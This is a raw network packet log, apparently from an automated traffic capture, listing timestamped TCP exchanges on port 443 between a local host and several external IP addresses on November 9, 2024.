Nov 9, 2024 22:09:27.503500938 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.507397890 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.507404089 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.507651091 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.516103029 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.559335947 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.631580114 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.633510113 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.633537054 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.634643078 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.634747028 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.643162966 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.643255949 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.643379927 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.683403015 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.683631897 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.683641911 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.684971094 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.685023069 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.685344934 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.685430050 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.685499907 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.685509920 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.690953970 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.690963030 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.737850904 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.737854004 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.756880045 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.757110119 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.757122993 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.758194923 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.758255005 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.758732080 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.758796930 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.758917093 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.758923054 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.759701014 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.759721041 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.759737015 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.759779930 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.759788990 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.759812117 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.759840012 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.800427914 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.802468061 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.802545071 CET	443	49711	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.802613974 CET	49711	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.876080036 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.876122952 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.876152992 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.876159906 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.876179934 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.876199961 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.882425070 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.889924049 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.889938116 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.891129017 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.891200066 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.894685030 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.894773006 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.894818068 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.921009064 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.921053886 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.921086073 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.921118975 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.921128988 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.921199083 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.922430038 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.923152924 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.923192024 CET	443	49710	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.923247099 CET	49710	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.939336061 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.940956116 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.940962076 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:27.987838030 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:27.990401030 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.990423918 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.990480900 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:27.990490913 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:27.990535021 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.057157040 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057208061 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057243109 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057270050 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.057280064 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057290077 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057329893 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.057341099 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.057383060 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.057387114 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.066632986 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.067912102 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.067919016 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.106349945 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.106374025 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.106455088 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.106466055 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.106514931 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.112850904 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.112862110 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.159785032 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.167308092 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.174618006 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.174689054 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.174796104 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.174804926 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.187217951 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.187922955 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.187933922 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.191817999 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.191895962 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.191903114 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.201494932 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.201580048 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.201590061 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.221873999 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.221904039 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.221961021 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.221976995 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.222019911 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.222039938 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.222091913 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.222111940 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.245181084 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.245189905 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.276456118 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.286640882 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.286720991 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.286789894 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.292071104 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.292401075 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.302613974 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.302628994 CET	443	49708	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.302640915 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.303910971 CET	49708	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.304799080 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.304832935 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.304847002 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.304857016 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.307904959 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.309465885 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.309633017 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.309679031 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.309684038 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.320945024 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.322896004 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.322904110 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.336857080 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.336879969 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.336941004 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.336957932 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.336986065 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.336999893 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.351665020 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.351901054 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.351908922 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.391632080 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:28.391717911 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:28.400564909 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.409967899 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.422255993 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.422290087 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.422390938 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.422404051 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.423894882 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.426913977 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.433409929 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.433459044 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.433466911 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.438498974 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.438592911 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.438600063 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.452272892 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.452294111 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.452395916 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.452413082 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.455144882 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.469203949 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.469237089 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.469285011 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.469312906 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.469414949 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.505918980 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:28.505954027 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:28.506313086 CET	443	49715	52.149.20.212	192.168.2.5
Nov 9, 2024 22:09:28.527508020 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.539937019 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.539985895 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.540025949 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.540059090 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.540148973 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.544456005 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.554127932 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.554166079 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.554169893 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.554203033 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.554295063 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.561166048 CET	49715	443	192.168.2.5	52.149.20.212
Nov 9, 2024 22:09:28.567234993 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.567256927 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.567303896 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.567329884 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.567346096 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.567368984 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.587083101 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.587131023 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.587158918 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.587177038 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.587191105 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.587199926 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.587239027 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.651138067 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.658365965 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.658430099 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.658449888 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.658458948 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.658476114 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.658504963 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.658518076 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.658533096 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.658562899 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.662996054 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.663038015 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.663083076 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.663098097 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.663199902 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.675806046 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.705810070 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.705851078 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.705876112 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.706063032 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.706103086 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.706136942 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.706145048 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.706188917 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.767272949 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.769835949 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.769870043 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.769903898 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.769920111 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.769949913 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.769969940 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.775196075 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.775237083 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.775253057 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.775285006 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.775427103 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.779661894 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822223902 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822266102 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822278976 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.822309017 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822448969 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.822532892 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822582006 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822634935 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.822642088 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822848082 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822889090 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822899103 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.822906971 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.822946072 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.838123083 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.838141918 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.838191032 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.838212013 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.838241100 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.838241100 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.884718895 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.892741919 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.892781973 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.892823935 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.892852068 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.892937899 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.897578001 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.913399935 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.913423061 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.913507938 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.913527966 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:28.913717985 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:28.940002918 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940068007 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940073013 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.940105915 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940152884 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.940160990 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940798998 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940833092 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940865993 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.940886974 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.940946102 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.940967083 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:28.987498045 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:28.987554073 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.002378941 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.002614021 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.002645969 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.003787041 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.003809929 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.003880978 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.003900051 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.003931999 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.003943920 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.010468960 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.010490894 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.010541916 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.010569096 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.010656118 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.011333942 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.011389971 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.011665106 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.011702061 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.011723995 CET	443	49712	142.250.184.228	192.168.2.5
Nov 9, 2024 22:09:29.011754990 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.011775017 CET	49712	443	192.168.2.5	142.250.184.228
Nov 9, 2024 22:09:29.028876066 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.028943062 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.028951883 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.028965950 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.029019117 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.077600956 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.077620029 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.077641964 CET	49709	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.077651024 CET	443	49709	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.188684940 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.188718081 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.188966036 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.189793110 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.189829111 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.189908981 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.190186977 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.190211058 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.190279007 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.190634966 CET	49724	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.190653086 CET	443	49724	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.190736055 CET	49722	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.190752029 CET	443	49722	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.191520929 CET	49723	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:29.191535950 CET	443	49723	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:29.192502975 CET	49726	443	192.168.2.5	13.107.246.45
